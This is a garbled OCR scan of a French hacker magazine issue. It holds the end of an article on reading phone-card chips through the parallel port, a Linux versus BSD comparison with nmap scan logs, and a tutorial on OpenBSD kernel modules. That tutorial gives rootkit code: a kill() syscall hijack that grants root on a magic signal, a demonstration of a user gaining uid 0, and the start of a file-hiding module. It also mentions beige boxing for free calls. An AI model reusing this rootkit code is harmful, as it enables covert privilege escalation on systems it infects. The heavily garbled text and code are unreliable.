qui voulait que son nom soit cite ¢'est désormais chose faite ~*

#define VCC 1 //je donne des valeurs c'est plus
facile... 00000001 en hinaire
#define CLK 4 /00000100 en hinaire

gl
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_idefine RST 8 //00001000
#define 10 16 /00010000
;msigned short getvalue()

: unsigned int index; //un petit compteur

hors série / n° 5
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if(getval==10) { printf(“1"); buffer [index]="1"; }
else { printi("0");buffer [index]='0;} //je pense
;ma c'est relativement claip

unsigned short ret; | Printi("Pressez une touche pour quitter\n");

_asm{ getch(); '

mov tx,379h

in-ax,DX output=fopen(“image.ixt","w"); //plac le bufter

mov ret,ax dans le fichier Image.tut

} fputs(buffer output);

return ret; //donne la valeur de 0x379 fclose(output);

- exit();,

void setvalue(unsigned short value) }

{ Qo e >

_asm {

mov ix,378h Voila! On a donc notre lecteur en parfait état de marche!!! Vous

mov ax,value faites donc I'image de la carte & puce, ou si ¢a vous saoulait de faire

out dx,ax tout ¢a, allez chopper 1'image directement sur internet ;) (la phrase

} qui tue pour ceux qui se sont déchirés a faire le montage ~*) Nous

} attaquerons désormais la deuxiéme partie : 'émulation, la plus
intéressante, mais la plus dure surtout. Il nous fautpour cela pas

int main() mal de renseignements sur le protocole lecture/carte, renseigne-

{ ments que vous aurez dans le prochain épisode de la saga télécarte )

—

unsigned short getval; v (O <lCmyptovertiow: > j=- )
unsignet char bulfer[266]; :
FILE *output; Sources 1% parte ;

printi("Appuyez sur une touche pour débuter la

lecture\n”);
- getch();

setvalue(0); //met toutes les broches sortante a 0

_setavlue(VCC+CLK); //initialisation
setvalue(VCC+0); //tu dialogue
setvalue(VCC+RST); //on met reset a1
turee du programme
}ur[indux=ﬂ;h|dex.<253;lndex++) !

setvalue(VCG+RST+CLK); /RSTtisa 1

setvalue(VCC+RST);, //RSTtisa1,ClKa0.

pour toute la

Incremente le compteur de |a carte, donc va envoyer

une valeur sur I0 _
yetval=gstvalue(); //nu'on attrape ;)

getval&=I0; //on AND, getval et 10 pour voir si 10

estal

INCROYABLE, CETTE MACH INE N'EST PAS

]

- "PC & Cartes a puces" de Patrick Gueulle editions ETSF

- PM (arf..) .

- Nofutur I pour le fonctionnement du port LPT, avec I'article
de Blorp

- TipiaX pour la partie Code, avec Obscure. Tu sux man ;) mais .
ta methode originel ne passait pas, meme en labo :)

-Laurent et Stephane pour leursavoirsur lapuce en elleméme Bravo
les enfants :)

NB1 : Siquelqu'una desinfossur ledécryptagedesclés 256 dela TG2,
laissez un message au journal... Sérieux, faut étre tordu pour ima-
giner un systéme de cryptage qui tiendrait dans une puce ;)

*NB2 : Le beige boxing est bien moins laborieux pour phoner gra-

tuit, mais cen’était pasnotrebut premier:))) Nous voulionsapprendre
les prineipes des cartes FT c'est fait ;)

UN LABYRINTHE INFRANCH ISSA JE M
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COMPARATIF LINUX / “BSD

0S : LE BON GHOIX

Le choix @'un 0 est toujours trés délicat. Que Von parle d'un admin réseau qui veut
mettre en place un puissant wall, ou du newbie qui cherche a apprendre le hack ;)),

il est important de faire un choix correct.

Si on se place du ¢oté du gars motivé qui a décidé de passer du
¢6té obscur de la foree ;), plusieurs solutions se présentent a lui :

1) 11 garde ce bon vieux win ( XP powa ;)) )

2) Il choisit LINUX, comme on veut faire les choses en grand,
on choisis DEBIAN. (au diable redhat likes:) )

3) I1 choisit un *BSD (1a on parlera de OpenBSD et FreeBSD
les deux leaders du moment )

4) Il en choisit un autre ; qu'il aille crever en enfer ... ;)

Notre gars est motivé, il deviendra un bon (on espére). Donc Win-
bidule: poubelle!!! Leproblémec’est qu'il resteencored fairesonchoix
entre LINUX et *BSD. Linux & tout prix ? T’es sur ? On va voir ...

1- Les 08, citeé utilisateur ...

o Critére sur les softs
Installer un OS ¢’est une chose, s'assurer d’avoir des softs qui
tournent avec, ¢a peut aussi étre utile :D. D’un pur point de vue
systéme depaquetage, onpeut considérer les linux comme égaux aux
BSD car bien que le apt-get debian (meilleure distrib linux soit
dit en passant) offre une puissance incomparable et permette
d’upgrader, patcher, réparer, installer unsystémeentier ou unsimple
soft avec une égale facilite, il n’en demeure pas moins que le sys-
téme BSD, lui, peut aller chercher automatiquement des sources
sur les FTP BSD, qu’il va patcher, compiler, installer. Ce qui, au
final, fournira un soft compilé sur mesure pour votre systéme
doncplusrapide, pluspuissant, plusstable queson équivalent linux.

Maintenant, sion se place du point de vue des sources, il faut
bien reconnaitre que, bien que les deux reposent sur les outils

EN DECoOVRANT LA S.RVUCT
INFORMATICIENS SONT REMONTES
JUSQUA Sonl LIEU D'ORIGINE | g
Nga LE MONDE ETRANGE
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GNU et sur la norme POSIX (outils standard de développe-
ment), linux est mieux fourni en matiére desources. 95 % desexploils
sont codés sous linux. Le code est cependant adaptable assez faci-
lement aux BSD, parfois méme sans modifications. D ailleurs les

; BSDsontaussicapabled’émuler linuxmoyennantsouvent unesimple

recompilation du noyau. Toutefois, cet aspect reste probléma-
tique pour lesnon-codeurs(c’est lemoment des’y mettre). On consi-
deére done que linux remporte la manche d’une courte téte :).

¢ Prise en main 3)
Bon c’est pas le tout de pouvoir installer des jolis paquets, enco-
re faudrait-il pouvoir installer I'OS en question, le configurer,
etc... Unetiacherarement aiséepour lenewbieen général. Pisquand
il aura fait ga, va falloir qu’il se mette au boulot pour com-
prendre comment ga marche :). Commengons par le début :)

1) Linstallation :

Sousdebian, ¢a peut poser problémecar lesisos officiellessont vieilles.
Elles sont en fait prévues pour donner une base extrémement
stable qu’il faudra upgrader par la suite via le net (apt-get upgra-
de rulezz ;)) ). De ce fait, elles sont susceptibles de ne pas s'installer
confortablement avec un pc récent. De mémoire, le noyau de ma
distrib plantait au démarrage a cause de mon ATI rage 128 (pour-
tant pas si récente que ¢a). Evidemment ¢a fait peur mais une fois
le systéime upgrade, le plus récent matos est reconnu sans probléme
(danslalimitedelinuxbienstr ). Coteconfig, graceadebeonflachose
se passe plutdt bien :). Des questions sont posées au fur et a mesure
alutilisateur pour configurer les softs installés.

(Coté BSD ¢a varie pas mal, Sous OpenBSD, la chose est ardue et la
configest trésincompléteal’install. (vousbooterezsystématiquement

|
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avec un clavier qwerty par exemple). En revanche, un point fort de
OpenBSD¢ncomparaisonavec lessystémes linuxest lareconnaissance
de matériel qui, & mon sens, est meilleure. OpenBSD est en effet
réputé pour sa grande portabilité. FreeBSD quant 4 lui, est réputé

~pour étre le plus simple d’utilisation des differents BSD, I1le prou-
ve notamment en proposant a 'utilisateur une install relativement

- aiséeavec plusieurs niveaux d'installation de newbiedexpert qui, sans
avoir laconvivialité d"uneredhat, permet néanmoinsun certainnombre
de paramétrages. Tout le monde devrait y trouver son compte.

2) Post installation :

Quel quesoit I'OS, vous ne couperez pas a la config en mode text.
L4, c’est clair T on ne pourra pas faire‘autrement et en matiére de
difficultéde config, OpenBSDest leleader. FreeBSD qui, quand a lui,
arrive derriére & mon sens (mais ¢a varie d'un utilisateur 2 I"autre )
suivi de debian. Toutefois, onconstatera une excellente doe sur le
siteofficiel de FreeBSDalors quellereste des plus pauvre pour OpenBSD
et Debian. OpenBSD semble devoir rester un systéme de 133ts :).
Cote Debian, on peut toutefois regretter que la plupart des docs
fournisavecles binaires ou lessources dessofts diffuséessurle netsoient
réservées aux Redhat et aux Mandrake. I1 suffit, cela dit, souvent,
de fournir peu d’adaptations pour une parfaite utilisation des pro-
grammes. A noter que cela ne concérne pas les paquets officiels de
debian qui, eux, sont exceptionnellement bien congus.

En résumé, Debian reste eh téte dans le domaine de la prise en
main utilisateur, Silenewbiccommencera certainement par une red-
hat, il deyraitassurément trouver son compterapidementavec Debian.
FreeBSD arrive derriere de bien peu,On lui reprochera cette
Tourdeur dans la syntaxe qui est pas toujours des plus intuitives,
Cela reste toutefois un Unix, ce qui implique.qu’un minimum
d'etfortsserontafournirpour passer de Linuxacet OS. Trés trésloin,
§e trouve un brave OpenBSD. Dernier né de la petite famille des
BSD, il est cense étre plus simple d*utilisation que son grand frére
NetBSD. H reste toutef0isunsysteme réservé aux mains expertes mais
il ases avantages comme nous allons maintenant le voir.

2- Sécuritd, locale et réseau

¢ Face a une attaque réseau ...
Bon a ¢’est pas compliqué, il faut tester. Evidemment, pas ques-
tionicidetenter unhack.Onsecontenterad’un petit scan bien tran-

+ quille, histoire de voir comment se comporte I'OS en installation
pardéfaut, cequiest typique dece qu’un newhie quinesait pasenco-
re configurer coté séeurité obtiendrait. Ce n’est bien siir en

Rt ] "
ILS EXPLORERENT CE MONDE
ET ARRIVERENT J0SQUAU

TERRITOIRE DES
L.IiMBES

aucun cas une preuve mais ¢a constitue une bonne approche.
Mon serveur usuel est une debian. Ca tombe bien ;)). On va donc
le scanner a partir de mon wall. Pour OpenBSD et FreeBSD, on
se contentera d’un scan de ces OS émules par Vmware (compor-
tement réseau identique en émulation par rapport  un OS réel ).

Histoire d’accentuer les choses, je vais scanner du pas protegé.
J'6te donc toutes mes protections du serveur (ce qui équivaut au
niveaudeprotection de’installation (a fait plus grand chose T_T).
Voila ce que je vais tenter contre les differents OS :

Kantor@khephren:~$ sudo nmap -0 -sN host

On ne peut pas faire plus simple ;)

host est le nom d’hote (un alias en quelque sorte) associé 4 une ip
et défini dans /etc/hosts (on peut le remplacer par I'ip de la bes-
tiole bien siir ) .

-0 appelle un fingerprint (détection d’0S) associé ici 4 sudo qui
donneles droits nécessaires aux users Kantor pour le fingerprint car
celui-cirequiert lamanipulation directe de'interface réseau. ’omets
volontairement la fonction verbose (rapport d infos plus détaillé)
qui n'a pas d’intérét ici puisque je purge les logs.

Yoici ce‘quejc récolte en coupant le log un chtit peu ;) :
Interesting ports on kheops (192.168.1.2):
Port State Service x

21/tcp open ftp

22/tcp open ssh

25/tcp open smip

111/tcp open sunrpe

No exact OS matches for host etc ...

Celog,amputedebonsnombres d’infosintéressantes et nous montre
2 choses : -

I) Le scan contre linux a trés trés bien fonctionné. (4 la base, le
serveur n’a pas de wall )

2) Nmap est incapable d'identifier I'0S. (¢’est plutét une bonne
chose, non ? ;)

J"ajoute aussi que rien ne figure coté console (coté attaque ici ).
En clair, le scann n’est pas détecté et ne figurera pas dans les logs
du'serveur attaque .

On initialise maintenant un scann contre OpenBSD. L encore,
jen ai pas touché a la config par défaut.

———
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- On obtient quelque chose de trés intéressant :

Log de Nmap :

Intersting ports on (192.168.1.3):
Port State Service

13/tcp open daytime

22/tcp open ssh

37/tcp open time

111/tcp open sunrpc -

113/tcp open auth

Remote opefating system guess: OpenBSD 2.9-
beta through release (X86) :
Uptime 1546.042 days (since Mon Oct 27 22:11:13 1997)

Log de la console (cote serveur):

Jan 20 13:35:41 khephren2 inetd[12544]: acept (for
ident): Software caused cpnnection abort

Jan 20 13:35:44 khephren2 inetd[12544]: acept (for
ident): Software caused cpnnection abort

Jan 20 13:35:45 khephren2inetd[8971]: acepi (for ident):

. Software caused cpnnection abort .

Jan 20 13:35:45 khephren2 inetd[8971]: acept (for ident):
Software caused cpnnection abort’

Jan 20 13:35:45 khephren2 inetd[8971]: acept (for ident):
Software caused cpnnection abort

Jan 20 13:35:47 khephren2 inetd[12544]: acept (for
ident): Software caused cpnnection abort

Voila qui se précise. On laisse ici tomber le décryptage du log qui
esten celieuhorssujet pour remarquer que leserveur aiciparfaitement
détecte le scan sur chacun des ports. L'utilisateur est averti en temps
réel de la menace. Le fingerprinting est impec. Nmap a bien détecté
mon openBSD 2.9. Petit bug de Nmap ou mauvaise detection ?
Nmap a détecté un uptime un peu long pour une becanne émulée :)

Passons 4 FreeBSD : :

On obtient ce log par Nmap : .

Host (192.168.1.3) appears to be up ... good.
Initiating Null Scan against (192.168.1.3) // la j’ai
triche et j'ai employé un scann un peu plus costaud
The NULL Scan took 8 seconds to scan 1549 ports.
Warning: OS detection will be MUCH less reliable becau-
sewe did notfind at least 1 openand 1 closed TCP port.

(15 AVAIENT DECOOERT 7
LE NEANT
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All 1549 scanned ports on (192.168.1.3) are: closed
Too many fingerprints match this host for me to
give an accurate OS guess

()

Alors que 1 console coté serveur affiche :- _
Limiting closed port RST response from 309 to 200
packets per seconde

Jan 20 17:22:47 /kernel: Limiting closed port RST

‘response from 309 to 200 packets per second

Jan 20 17:22:47 /kernel: Limiting closed port RST
response from 309 to 200 packets per second
Limiting closed port RST response from 333 to 200
packets per seconde ;

Jan 20 17:22:47 /kernel: Limiting closed port RST
response from 333 to 200 packets per second

Jan 20 17:22:47 /kernel: Limiting closed port RST
response from 333 to 200 packets per second

etc ...

Tiens tiens ... La console indique que le scan a eté détecte et que
les ports ont été bloqués au fur et & mesure. Pas mal du tout 1)). -
Du c6té Nmap c’est la cata pour le log : rien d exploitable a pre-
miére vue:) :
Lesportsscannesayant été bloqués, Nmapne peut passavoirsi ilsont
stébloqués ous'ilssontclos. Ducoté fingerprintingepire. Onobtient
rien du tout, A noter que le résultat serait similaire avec queso
qui lui, utilise les ports ouverts ( ¢'est done bien pire:) )!

A noter aussi queé j*ai testé tous les scans classiques et ceux-ci.
sont tous détectés par FreeBSD, y compris les fragmentés.

Parenthése :

Tout ceci ne serait pas amusant sans point de comparaisons
usuel. N ayant plus autre chose que du win98 en émulation
comme win, j"ai dfi me résoudre a scanner ce vieux machin.

COté seann, tout passe sans probléme. Win ne détecte rien. Le
bon vieux port 139 (netbios) apparait. Bref rien d’extraordinai-
re. L4 ol ga devient plus intéressant, ¢’est lorsque I'on-s’intéresse
& une fonction supplémentaire de Nmap le verbose.

Recommencezlesscannsavec] option-v-vou-vvpourchacundesOS.
Nmap estimera alors le degré de facilite avec lequel il peut prédi-
re les séquences TCP (trés utilisé pour certaines techniques de
highlevel qu’on détaillerauneautrefois). Lechiffreindiquéestd’au--
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tant plus élevé que la difficulté se fait sentir.
On observe alors sans surprise les résultats suivants :

TCP Sequence Prediction: Class=random positive
increments

Difficulty=2184749 (Good luck! ) // scan de linux
2.4.16

TCP Sequence Prediction: Class=trivial time depen-
dency
Difficulty=>5 (Trivial joke) // scan de win98 ridicule
non ?

TCP Sequence Préd!qt_ion: Class=random
Difficulty=9999999 (Good luck! )

// Scann de OpenBSD, impossible de voir celui de
FreeBSD vu qu'il ny a pas de port ouverts ;)

Donc a premiére vue, on pourrait dire que FreeBSD remporte le
challenge. En fait il n'en est rien. Nous n’avons tenté ici qu’un
faible scan. I1 faut bien se rendre compte de 2 choses ;

1) Open BSD n'a pas eu un seul trou de sécu en install par défaut pen-
dant 4 ans ! Donc scan ou pas scan, il reste le plus secure, Sa structure
faisant de lui le plus costaud de 08 libres d’un point de vue secure.

2) Open peut tout comme Free modifier le level de secu system
(linux Tut en est incapable). Le fait est, qu’iln’est pas max par
défaut chez Open, alors qu’d install de Free je Iavais choisi le
plus éleve dans les options (beuh le tricheur :) ) :

Conclusion: Openesttréstréslargement le meilleur questionsecu réseau.
Derricre vient un freeBSD qui n'a pas a rougir devant un linux vrai-
ment peu d la page :(. Le fait est que le développement de linux ces
dernicresannées n’a pas vraiment été orienté séeurité mais plutdt sta-
bilité. Donc, d’une maniére générale, Linux semble avoir du retard
sur ses cousins BSD dans le domaine de la séeurité informatique. Pré-
cisonsa toutesfins utiles, queles testssont réaliséssur desmachines réelles
ou virtuelles peu importeaec le niveau de secu de I'installation done,
en théorie minimal. Toutefofs, Pexpérience prouve que pour des
bécanes a haut miveau de config, le classenent reste inchangg.

o Tu résistes & une attaque locale ??

Bon ici on sera un peu plus brefpour rester dans le général, Sur’

tout systéme unix like (et sur les derniers win d’ailleurs), le but du
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Jeu c’est de chopper un accés root sur la bécane  hacker ;). Tout
utilisateurd’unsystemeunixauncompte dontlesdroitssont par défauts
limites. Le probléme essentiel en local est d’empécher le vol du
compte root qui conférerait un avantage évident au hacker dans la
mesure oll il a alors la possibilité de faire ce qu’il veut. Il peut par la
mémeoccasion dissimulersestraces. Un utilisateur lambdanepeut pas
virer (ou retoucher ) les logs ! D’oil la possibilité de se faire repérer.

Siun hacker réussit & avoir un compte utilisateur sur une machi-
ne, quelles sont ses chances de gagner le root ?

Tout dépends de vos compétences en matiére de secu mais sur-
tout, tout dépend des droitslaissésa 'utilisateur. 'yreviendrai dans
un prochain article mais les chances de succés ne sont pas égales
d’un systéme a ’autre. Je pourrais vous citer de nombreux
exemples mais ils seraient hors propos. Je me contenterais de
vous donner le suivant ; :

Tapez su ( commande pour se logguer en root ) sous linux puis
sur un BSD, Vous voyez quoi ?

Dans un cas, vous pouvez vous logger en root (sous reserve du bon
pass bien sir) dans I"autre vous n’avez pas le droit de le tenter (par
défaut). En clair, on retombe sur mes propos précédents, il semble
quelinuxsepréoccupe bien moins delasecu réseau quesescousins BSD.

Bon alors que faut-il penser de tout ca 777

Il n existe pas de réponse toute préte mais une chose est siire : tout
dépend du niveau de I'utilisateur. Si la personne est un newbie qui
cherche 4 se la péter avec un OS branché, n’importe lequel de
ceux-ci conviendra, le hic c’est qu’il risque fort d’étre trop dur
pour lui. Il n’arrivera probablement méme pas a bout de I'instal-
lation. Pour'utilisateur un peu plus évolué intellectuellement et qui
recherche yraiment la connaissance, je recommande debian pour
un premier contact. En ce qui me concerne, les "wild", le choix
est vite fait ; je reccommande FreeBSD & ceux qui voudraient un -
serveur car FreeBSD est trés stable et sa config est loin d’étre
insurmontable et OpenBSD pour ceux désirent mettre un firewall
car OpenBSD avec un minimum deconfig reste quasiinsurmontable.
¢
Voila mon premier article est fini. J’ai dit premier et j’espére
qu’y en aura d autres *___ A
On verra bieri :)
Un gros clin d eil & la crew SPE3, ils se reconnaitront ;))

Kanior <Kanior@iirance.com>
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COMMENT GERER LES LKW SOUS OPENBSD

Les LKM BSD sont assez différents des LKM Linux par plusieurs points mais le principe reste le
méme : detourner le kernel pour favoriser certaines actions (par exemple : se cacher, backdoor
root, hypasser les securelevels...). Dans cet article, je ne traiterai que des cas de hases (je prépare
derriere une suite de cet article qui sera disponible dans les cours avancées de HZV et peut-étre
dans un futur HZV). Nous verrons donc tout &'abord la notion de securelevel, ensuite comment
gérer les lkms sous OpenBSD, comment en créer et enfin différentes applications des lkms BSD.

Plan

1. kern securelevel
2. Les commandes lkms
3. LKM de base
4. Syscall hijacking
5. Différents LKMs
5.1 Backdoor root
5.2 Cacher un fichier
5.3 Cacher certaines lignes d'un fichier
6. To come... il
7. Documentations diverses

Pourcetarticle, jemesuissurtoutservi dekern.securelevel et j ai ensui-
te adapté les techniques que j'utilisais pour les Ikms linux. Tout les
codes présents dans cet article ont été testés sur une OpenBSD 2.9.
Il ést cependant possible que ceux-ci ne marchent pas sur votre sys-
téme, en particulier si vous avez désactivé le support LKM.

Il existe certaines différencesassez largesentre les modules OpenBSD
et lesmodules FreeBSD. Je pense cependant que les modules NetBSD
ne doivent pas trop différer des modules OpenBSD.

1. kern.securelevel

Une grosse différence entre le cas des kernels Linux et celui des
kernels BSD est la présence de securelevel. Le securelevel est,
commeson nom l'indique, une protection auniveau dusystéme méme.
Pluslesecurelevelestéleve, pluslesrestrictionssont grandes. Auboot
le securelevel est a -1 (aucune protection), puis en cours d'exécu-
tion du kerrel lesecurelevel ne peut-étre qu'augmenté. Pour pouvoir

MAJS C/esT DU ¥
( DERNIER RINGARD!

insérer un lkm dans le kernel il faut absolument étre en securelevel
-1. Enfait dansles kernels ot lesupport LKM estactivé, lesIkmssont
d'abord insérés puis le securelevel est augmenté a la valeur voulue.
Pour changer le securelevel par défaut, il faut changer la valeur -
de la ligne "securelevel=" dans /etc/re.securelevel. De méme il est
utiledepouvoir lancer lellkm au chargement et cela doitétrefaitavant
l'incrémentation du securelevel done dans /ete/re.securelevel.

2. Les commandes Ikms

Sous OpenBSD lescommandes lkmssenomment modload(8), modun-

load(8) et modstat(8).

Voici un detail :

« modload(8) : équivalent de insmod, sert a charger un lkm dans
lekernel, Uneoptionintéressantede modloadest-q (Bevery quiet).

» modunload(8) : équivalent de rmmod (décharge un lkm).

« modstat(8) : équivalent de Ismod (liste les lkms en mémoire).

Tout ces programmes agissent sur /dev/lkm(4).

3. LKM de base

On se contentera ici des Ikms miscellaneous qui permettent de
faire n'importe quelles actions en [km. Un Ikm se décompose en
plusieurs parties : /

- le point d'entrée,

- les fonctions et,

- les déclarations. v

Tout d'abord, un LKM BSD misc commence par lesclassiquesincludes
etautresprototypes C. Maiscequinousintéresse vientapres: ils'agit
de l'initialisation du module. Ceci se fait facilement par
MOD_MISC(lkm_name)ot lkm_nameest lenomidentifiant votre
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Ikm (sous linuxils'agitdunom du binaire). Doncle code dela décla-
ration sera :
MOD_MISC("notre_lkm");

Ensuite viennent les fonctions du modules. Classiquement ce sera
nos syscalls redéfinis.

Puis arrive le "handler” : il s'agit d'une fonction s'occupant du
loading et déloading du module (un peu & la fagon de init_modu-
le() et cleanup_module() sous linux). Sa déclaration se fait par
int handlername(struct Ikm_ table®, int);

Olilepremier argument est un pointeur sur unestructure Ikm_table
contenant les informations sur le lkm en cours (correspond 2
__this_module sous linux) et le deuxiéme, un entier représen-
tant lacommande encours(LKM_E_LOADetLKM_E_UNLOAD).

Enfin vient le point d'entrée dwmodule. Son nom est par défaut
le nom défini dans MOD_MISC qui doit étre changé 4 condition
d'utiliser l'option -e de modload. Son prototype est : int lkmna-
me(struct lkm_table*, int, int); i

En général-on se contentera de déclarer notre handler dans cet te
fonction par la macro DISPATCH qui prend en argument les
trois premiers arguments du point d'entrée puis les handlers res-
pectifs pour les actions load, unload et stat.

Voild dotic en gros la structure d'un lkm bsd ;

/* includes */
r déclaration dos fonetions */

/ diclaralion ol */
OD__WISC( rmame"); '

7% 108 fncliis */

7 oo ™/ _
I{m fandlername(struet lkm_table *Tkmip, int cmil)
| %wllnh{amn)

JE NAI QUA APPUYER SUR N BouTony
UR INTERROMPRE CETTE MASCARADE.

case LKM_E LOAD:
/* code d'initiafisation */
Ef'nah; :
0ase LKM_E_UNLOAD:
/* totlg te destruction */
il'r"aak:
fefaull:
lirgak;

}
return 0;
} g

/* Point 'enirée */

_ int Ikmname(Struct lkm_table *lmip, int el int ver)

DISPATGH(kenty, cind, ver; handlername, handiername, lkm_nofunc);
/* fin tlu code */

Note :  Ikm_nofunc désigne la fonction vide. Ici, on s'en fout de
la commande stat.

4. Syscall hijacking _ :
L'interét des Ikm est surtout de détourner des syscalls pour pou-

voir modifier leurscomportements. On peutainsi comme sous linux
installer une backdoor root, eacher des process, des fichiers, des

© connexions, détourner un tty, efc...

Le principe est simple, on change l'adresse du syscall par la ndtre .
dans la sysent. La sysent correspond a la sys_call_table sous
linuxetstocke doncI'ensemble dessysealls. Elleest définie par struct
sysentsysent(]; oustructsysentest défini par (fichier sys/systm.h des
sources du kernel OpenBSD) :

extern Struct sysent { /* system call fatle */
short 8y_mang; /* number of argg */
shoel sy_argsize; /Lot size of arguments */
- 8y_call_t *sy_call /* implementing function */

r

Pour connaitre le numéro des syscalls ainsi que leurs arguments
il suffit d'ouvrir le fichier sys/syscall.h des sources du kernel.
Voila les sysealls intéressants pour nous ;
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/™ syseall: "read" ret: "ssize_1" angs: "int" "void *" "size_t" */
Hilefine SYS_nead 3

/* syscall: "open” ret: "int" angs: “const char *" “jnt" . */

Hlafing 8YS_open

/" syseall: "close" ret: "int" angs: "int" */

#iefine 8YS_close 6

/* syscall: "Kill" ret: "'int" args; "int" “int™ */

#ofine SYS_kill 81

/* sysuall: "getdirentries" ret: "inl" args: "“int" “ghar =" “inl" "jong " */
#itefine SYS_geldireniries 196 -

Pour savoir quel syscall détourner, la meilleur solution reste
encore de tracer un process avee ktrace(1) et kdump(1) :

# trace i -L ¢ /hin/ls

lkm_fi.c openbsd.lkm

# Wdump L ¢ | more

2781418 CALL getdirentries(Oxb,0x35000,0x1000,0x310h4)
2181413 RET -getdirentries 512/0x200

278141s  GALL getdireniries(0x5,0x35000,0x1000,0631004)
2781415 RET getdirentries 0

#
9. Différents LKMs

8.1 Backdoor root

Pour faire une backdoor rool, le principeest simple, on détour-
ne le syscall Kill(2) pour faire un déclencheur de Ia backdoor. Si
lesignal envoyé a kill est celui de notre backdoor, alors on donne
les droits root au process de destination. Voila le code largement
commente du lkm faisant cefa :

- [+ Ikm_bi.g+]

/ includes ™/

Hinclude <sys/param. >

Hinclude <sys/systm.h>

#include <sys/mhuth>

Hinclude <sys/exec.h>

#include <sys/conth>

fHinclude <sys/hm.h>

Hinchude <sys/peoc.>

winclude <sys/syscall.n>

/* nedéfinition te struct sys_call args ; f syscallargs.h */
siruct 8ys_Kill_args {

int pid; /" ampument 1 de ill:pil Y
int signum; /* argument 2 de kil - numéro de signal */
£ constantes */

Hhlefing MAGIC_SIGNAL 89 /* notre numéro de Signal */

/* iéglarations des fongtions */
Int our_Kill(Struct proc “p, void *y, register_1 *retval);
int (*old_kill)(truct proc “p, vaid *v, register L *netval):

/* diclaration o fim */
MOD_MISC(lin_bi");

/" g fonctions */
/* Donng Ies droits oot au process recevant kill(MAGIC _SIGNAL) */
l*E" our_Jei(struct prae *p, veid *v, register 1 *netval)

siruct sys_Kill_args *args;
Siruct proc™ ourproc;

angs = (struct sys_kKill_args™v;  /* rdcupére les arpiments de kill */

38

- .

Ii{args->Signum = MRGI[:_SIGHMJ / $i £ 1'est pas nolre signal  */
return old_kill(y,v.retval); /* alors exéculé |'ancien kill  ~/

/* MAGIC_ SIGNAL */
ourgroc = (pfind(args->pid)); {* trouver le process cible. ¥/
ourproc->p_cred->p_ruid =0:  /* ondonne les droils root au %/
ourproc->p_cred->p_svuil =0; -/ process cihle (uid, gid, euid, */
ourproc->p_cred->p_rgid =0;  /* egid, sveuid, svegid=0)  */
ourproc->p_cred->p_svgid =10;
ourpeoc->_cred->pe_uered->cr_uid = 0;
ourproc->p_ered->pc_ucred->tn_gid=0;

“petval = -EINVAL;
raturn -EINVAL;
} /* normal e Kill

/* Natrg handler */
int bil_handler(struct km__tafile * i, int cmd)

{
s{wﬁnh(umﬂ]

- Gase LKM_E_LOAD:
/* code d'initialisation ~/
0ld_Kill = sysent[SYS Kill].sy_call: /* sauvegarde de I'anclen */
/" syseall kil
:vsngl[ﬁs_killl.sy_ll = 0ur_kill; / ulournement du Syscall */
peak;

oase LKM_E_UNLOAD;
/* corde e destruetion */
Sysent[SYS _KiNl.sy_call = old_kill: /* restauration (e
hreak: /* 'ancien syscall kit~ */
flefault:
reak;

/* enfin, on retourne EINVAL pour */
[* Iajgs croire au fonclionnement */

*/

}
return 0;

/* Point 0'eniée */ :
It Tkm_a(strict "m_table *[kmtp, int cmd, int ver)

DISPATCH(knitp, emd, ver: hd_handlor, b _handler km_nofunc);

}
/*fin du code */
[-lhm_hd.g-]

Efisuite il ne nous reste plus qu'a le compiler :

§ 0c-D_KERNEL -1/8y8 ¢ m_biL¢ (ici /sys est I'endroit ou se trouve les
sources de mon kernel)

A insérer le module avec modload (en root) :

# modload - lkm_bd -0 /tmp/tmp.o lm_hd.o

Module loaded as D0

# modstat
Tyne 00 Loadaddr Size Info Rev Module Name
#'IISI: 0  0e0Bee000 D002 e08e1000 2 fkm_bd

Il ne reste plus qu'a le tester-avec la fonction kill(2) :
[+ testlkm_bi.c +§1
sHinclude <signal.i>
Hinclude <stdlib.h>

: i{nt mainint arye, char “argv[]) :

if(arge<2)return -1;
return ilKatoi(aryv[ 1) 69);
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}
[- tesilkm_bd.g -]
E_n user ;

it
(lti=1000(user) gid=1000(user) groups=1000(user)
g gee testim._fd.c o lest

I]s :
PIDTT  STAT  TIME COMMAND

2628100 I8 0:00:15 -liash (bash)
375600 R 0:00.12 hash
869990 R+ 0:00.00 ps
g :ﬁass 8785
|

i-lw) gi=0(whee) eougs=1000(user)

Voila, on a donc bien une backdoor root, puisqu'avec un code
utilisateur, on obtient un aceés root, Pour déloader lemodule, il suf-
fit de faire 'modunload -n lkm_bd'.

8.2 Cacher un fichier

Comme nous I'avons vu dans la section syscall, le syscall utilisée
par /bin/ls (et d'ailleurs par n'importe quel outil) pour lister un
répertoire est getdirentries(2) quia la structure suivante :

int getdirentries(int fd, char *buf, int nbytes, long *basep);

Pour savoir ce que font les différents arguments, un petit man 2
getdirentries vous renseignera. Ici les seuls arguments qui nous
concermient sont bufet nbytes.

bufcontiendraala fin de l'appel systéme les enregistrements du
repertoire et nhytes est la taille du buffer. Ce syscall renvoie le nombre
d'octets ¢erits dans buf Dong pour faire en sorte que 1'on ne voie pas
un fichier, il suffit desupprimer 'enregistrement correspondant dans buf:
Ces enregistrements sont de la forme suivante (sys/dirent.h) :

struct dirent §
0_im32_ 1 d_filean; /* il numben of entry */
U_Intt6_td_reclen; / Ienglh of his record */
g1 d_type; /™ 1ile type, see helow */
U_int8_t d_ namien: /* length of Steing in d_name */
Hilter _POSIX_SOURGE :
/* niame must be no lnger than this */

o Bligr 1_name[255 + 1];

Holse

Hiefine MAXNAMLEN - 255
- [l:h’ﬂ!' _name[MAXNAMLEN + 13; / name must be no longer than this */

fondit - 3 ;

I5
Done, 1l nous suffit de parcourir bufaprés avoir appelé I'ancien
syscall et de vérifiers'ils'agitd'unfichier. Voilaun Ikmréalisant ceci
en se basant sur le début du nom :
[ lkm_dirc +]
/™ includes */
Hinclude <sys/param.i>
#include <sys/systm.h>
#include <sys/mhuf.h>
- ffinclude <sys/exec.h>
 Hinclude <sys/cont.i>
Hinclude <sys/lm.h>
Hinclude <sys/ tirent.h>
Hinchude <sys/syscall.i>

Siruct sys _getdireniries _args {
int fo; .
"0 ghar *uf:
ntcount;
long *hasep;

/* conslantes */
#iefine MAGIC_PREFIX "oy "

/* éclamalions tes fonctions */

intour_getdirentries(struct proc *p, void *, register 1 *etval):
Int- (*ald_getdirentries)(Struet proc *p, void *v, register 1 *retval):
int- my_strsuticmp(char™, chan™);

/* éclaration du lkm */
MOD_MISE("llcm_din");

/* m0s fonctions */ ¢ : -
/* Gompare deux chaines de dorines et relourne 1 si la premidre est un préfixe
3 }in I8 teuxigme

i{nt' my_strsuicmp(eha *ste1, chan *sieg)
